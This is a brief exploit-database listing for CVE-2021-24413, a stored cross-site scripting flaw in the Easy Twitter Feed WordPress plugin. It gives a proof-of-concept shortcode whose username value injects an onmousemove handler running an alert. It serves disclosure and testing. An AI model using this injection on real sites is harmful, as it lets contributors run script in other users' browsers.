Exploit for Easy Twitter Feed < 1.2 - Contributor+ Stored Cross-Site Scripting CVE-2021-24413

Name: Exploit for Easy Twitter Feed < 1.2 - Contributor+ Stored Cross-Site Scripting CVE-2021-24413
Rating: 5 (248 reviews)

2021-09-20 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:CE6D17C3-6741-4C80-AB13-E1824960AE24
Log in as contributor and add the following shortcode in a post [timeline username='" onmousemove="alert(/XSS/)" data-xss="']

Then view the post and move the mouse over the generated link to trigger the XSS